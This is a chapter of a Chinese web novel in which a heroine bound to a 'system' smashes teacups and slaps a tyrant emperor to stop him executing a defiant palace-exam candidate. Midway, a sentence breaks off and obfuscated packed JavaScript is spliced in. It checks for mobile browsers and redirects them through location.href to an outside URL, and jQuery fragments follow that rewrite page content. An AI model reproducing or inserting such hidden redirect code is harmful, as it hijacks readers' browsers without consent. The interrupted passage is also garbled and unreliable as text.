13. 情不得已急扇巴掌
作品:《暴君绑定了虐文女主系统》 沈昭端着茶水,站在帘子的后面,悄悄观望着前殿的景象。
萧煜坐在龙椅上,手指搭着扶手,身子歪斜倚着靠背。头顶冕旒垂珠微微晃动,遮住了他的容颜,只露出线条清峻的下颌。
德福立在他的身旁,怀里抱着拂尘,脸色甚是严肃。
底下的考生整冠肃立,全都低着头不吭声。
萧煜打了个哈欠,单手撑着下巴,不紧不慢道:“怎么,朕不过是杀了两名主考官,你们怎么个个都跟小鸡崽子似的,连话都说不利索了?”
见无人应答,他挑了挑眉,歪着脑袋,望向在场仅剩的考官:“张爱卿,朕何时说过殿试结束了?”
张秉公被点到名,下意识打了个寒颤,硬着头皮出列道:“回陛下,臣这就继续主持。”
他刚刚亲眼目睹同僚被拖走,此时仍心有余悸。如今只有他一人侥幸留下性命,就算万般不愿,也只能强行保持镇定继续主持大局。
“朕没耐心看那些磨磨唧唧的长篇大论,让他们口述即可。”
“喏。”张秉公定了定神,缓缓念出题目,“荡荡乎,民无能名焉;巍巍乎,其有成功也,焕乎其有文章。请诸位考生详谈见解。”
场下考生噤若寒蝉,谁都不敢贸然发言。
他们刚见过两位考官的惨状,早已经魂不守舍,哪里还有胆量论述自己的见解。
“臣有话要说。”
只见一名身着白衣的男子从队伍中迈出,昂首立在前方,朗声说道:“正所谓水能载舟亦能覆舟,古往今来得民心者得天下。若是为政不仁,手段强硬,视人命为草芥,迟早会江山倾覆……”
他生得模样俊秀,双目炯炯有神,毫不避讳地抬起头,直接望向龙椅上的萧煜。
这道题本应是夸耀君主,到了他的口里,反倒成了字字诛心的檄文。
就差直接点名说萧煜是暴君了。
萧煜垂着眼眸,脸上神色不明。他弯着修长的手指,漫不经心地敲打着龙椅扶手。
张秉公站在旁边,听见这段大逆不道的发言,不由得汗流浃背。他的额头渗出一层细密冷汗,揣在绛紫官袍里的手直打哆嗦。眼看着这位考生说出的话越发大不敬,他只好开口提醒道:“咳咳,时间差不多到了……”
“说。”萧煜打断道,“让他继续说。朕倒要看看,他能说出什么花样。”
白衣考生清了清嗓子,态度不卑不亢,负手继续说道:“若是暴虐嗜杀,不顾民生疾苦,终有一日会引得群情激愤,百姓揭竿而起……试问陛下想要成为尧舜般伟大的君王,是否真的将民生疾苦放在心上,是否真的听得进忠臣的苦心劝谏?”
他每多说一句,萧煜的脸色就阴沉一分。
哪怕萧煜的脸色黑如锅底,他也没有半天动摇的意思,依旧自顾自往下说。
因为无人敢出声发言,周遭简直静的可怕。只能听见白衣考生的诘问,回荡在空旷大殿的上方。
无论是太监宫女,还是底下的考生,无一例外都对这个不要命的二愣子感到惊恐万分。
偏偏沈昭真的认识这个二愣子。
他就是沈珏殿试途中结识的好友许昌彦,也就是把女主全家卷进科举案的始作俑者。
兄长沈珏吃了泻药没来,便没有机会认识这人,更不可能在殿试发言。于是现在就没有人拦着许昌彦,只留他一人长篇大论指责萧煜。
问题在于,这个人绝对不能死!至少现在不能被萧煜杀死!
原著中许昌彦出身名门望族,为人正直,有治世的才能。这样的人才往往有几分风骨傲气,同时容易恃才傲物、自视甚高。因为年轻气盛,不知进退,才会在殿试口出狂言。
按照剧情他会因惹怒萧煜而关入大牢,然后侥幸被萧璟辰捞了出来。萧璟辰借此机会获得文官派系的部分支持,而被无辜牵连的沈珏,因为没有身份背景,只能当了科举舞弊案的替罪羊,白白丢掉了性命。
后面许昌彦成为剧情推动的催化剂,作为萧璟辰的智囊团的一员为其出谋划策。萧璟辰明面上重用他,实际觉得他喜用阳谋却不用阴谋,为人处世不够圆滑,政见也过于刚直端正。
本着物尽其用的道理,萧璟辰利用他博得文官派系的好感后,转头便设计陷害将他逼入死境,并让人以为是暴君萧煜的授意。至此朝廷彻底大乱,人心全部倒向了萧璟辰。
如果萧煜现在就杀了许昌彦,非但不能阻止剧情发展,反而会提前造成朝廷内政动荡。
许昌彦滔滔不绝的讲述还未停止,萧煜的耐心很快就消耗殆尽。
他握紧龙椅扶手,反问道:“你在教朕做事?”
许昌彦顿了顿,脸上却没有半分惧色,坦然直言道:“文死谏,武死战。臣只是在尽自己应尽的本分。”
“好一个本分!”萧煜冷笑一声,坐直了身子,沉声质问道,“你方才问朕是否听得进忠臣的苦心劝谏,那朕倒要好好问问你,到底是不是忠臣?”
“你为朕,为江山做了什么,怎配在此居高临下地质问朕?”
“你出生钟鸣鼎食之家,从未受过饥寒交迫之苦,只知大谈你那迂腐的文章,口口声声说着为了百姓。朕是无能,是无所作为,但你又为他们做了什么?”
若换作寻常人,恐怕早就在这连声逼问下露了怯,控制不住选择服软。但许昌彦偏不,他偏要扬着高傲的头颅,油盐不进道:“臣只求问心无愧。”
“好,那你便带着你的问心无愧去见阎王爷吧。”
萧煜摆了摆手,下令道:“来人,把他带下去……”
眼见着事情毫无转机,就要按照剧情发展。沈昭心中一急,顾不得其他,拿着茶盘的杯子,猛地往地下一砸。
嘭——
一声脆响打断了萧煜尚未说出口的话。
萧煜顿了顿,倒没有追究,继续道:“来人,把他……”
沈昭再次拿起茶杯,往地上猛地一砸。
萧煜抬起头,目光有如实质,锐利得要穿透帘子。他沉声道:“把他给我……”
沈昭只好拿起最后一个茶杯,继续往地上砸。
要是这回还不能阻止萧煜继续说话,那她只剩茶壶可以摔了。
正当她斟酌着要不要砸茶壶时,萧煜终于忍无可忍,命令道:“德福,去看看是哪个不懂事的宫人,笨手笨脚的连这点活都干不好!”
德福得了命令,提着衣裳小跑着下了台阶,掀开帘子正要训斥一番。抬头看见便沈昭眨巴着眼睛,一脸无辜的望着他:“德公公,好久不见。”
德福:“……”
不,他其实没那么想见。还有,他不姓德。
德福只觉得揣在怀里的银子有些烫手,早知如此他就不该收这份贿赂。他回头瞄了眼萧煜的神色,心里有些拿不定主意。
陛下的态度很微妙,似乎很看重沈姑娘,但是有没那么喜欢。他真不知道该戳破好,还是该掩盖好。
今日若是得罪了沈姑娘,日后她平步青云,自己便不好做人了。
德福思来想去,选了个折中的法子。他清了清嗓子,大声呵斥道:“尽在这里添乱,惹陛下不高兴,还不快退下!”
说罢,他朝沈昭使了个眼色,朝门口努了努嘴。
他表面斥责,实际上是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164849|196658||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
雷点大雨声小,先高高举起再轻轻放下,其实就是打算息事宁人。
沈昭明白他的暗示,慢吞吞挪动脚步作势要退下,耳朵却时刻留意着殿内的动静。
萧煜的声音很快便再次响起:“把他拖下去……”
这人就非杀不可吗?!
沈昭心一横,松开手头仅剩的茶壶。
噼啪——
茶壶跌至地面,瞬间摔得四分五裂。碰撞声响彻大殿,回荡在空旷的大殿。
德福面色一僵,心知无力回天。
果不其然,萧煜撑着扶手,“嗖”地一下站起身,踩着玉阶大步朝这边走来。
“朕要亲自瞧瞧,是哪个不识抬举的,竟然敢……”
萧煜掀开帘子,满脸怒色,厉声说到一半,突然就哑了火。他停顿片刻,压低了嗓门,诧异道:“……你怎么在这里?”
沈昭挤出一个礼貌又不失尴尬的笑容,摊开双手道:“喏,我穿这身衣裳,被当作宫女拉来干活凑数了。”
她神情坦坦荡荡,话里话外都是迫不得已的无奈。
萧煜忍不住扶额。
他这回总算体会到了,什么叫搬起石头砸自己的脚。早知会弄得如今这番局面,他就不应该塞这身宫女的衣裳给沈昭!
因为事出有因,他不好再深究这身衣裳,于是低头看向满地的碎片,问道:“这又是怎么回事?”
沈昭耸了耸肩,叹气道:“没办法,昨天跌伤了胳膊,手拿不稳。”
萧煜眯着眼,直勾勾地盯着她:“四次都拿不稳?”
“是也不是。”沈昭拍了拍他的肩膀,语重心长道,“此乃摔杯为号。”
见她这副煞有其事的模样,萧煜不由得迟疑了:“摔杯为号……你给谁递暗号?”
“你呀。”沈昭眨了眨眼睛。
“我?”
萧煜感到难以置信,她给自己递的哪门子暗号?
沈昭保持着神棍人设不倒,掐了掐手指,故弄玄虚道:“因为我方才算了一卦,此子断不可除,必须留他一命。”
萧煜盯着她,半天都不说话,沉声道:“朕凭什么听你的?”
“不这样做的话,你会死。”
沈昭睁着双眼,平静地回答道。
“不管是你,还是它,都威胁不了朕。”萧煜甩了甩衣袍,转身朝龙椅走去,“这样受人控制的人生,朕已经受够了。”
自从沈昭出现以后,他的人生就出现了许多变数。沈昭行事难以预料,说话做事疯疯癫癫。其他人见他都闻风丧胆,只有沈昭跟吃了熊心豹子胆,天不怕地不怕还多次招惹他。
只要跟沈昭待着,就会被她的节奏带跑,不自觉被她牵着鼻子走。萧煜很讨厌这种感觉,更厌恶心神放在别人身上的不安定感。
能够预言天机又怎么样,反正到最后什么也改变不了。就算提前得知府邸会起火,最后还是没能抓住纵火的人。
萧煜坐回高高的皇位,冷眼俯视着众人,再次命令道:“来人,把他带下去……”
沈昭不由得叹了口气。不到万不得已,她也不想出此下策。
她挽起袖子,后撤一步,朝地面猛地一蹬,以百米冲刺的速度,直奔萧煜的皇位。
左右侍从还没来得及反应,沈昭便三步并作两步跨过台阶,身法灵活闪至萧煜跟前。
她抬起手,一巴掌朝萧煜的嘴巴扇去。
啪——
说话声戛然而止。
死一般的寂静。
只有两人能听见的系统声,恰到好处地响起:
【恭喜宿主,任务完成度50%】

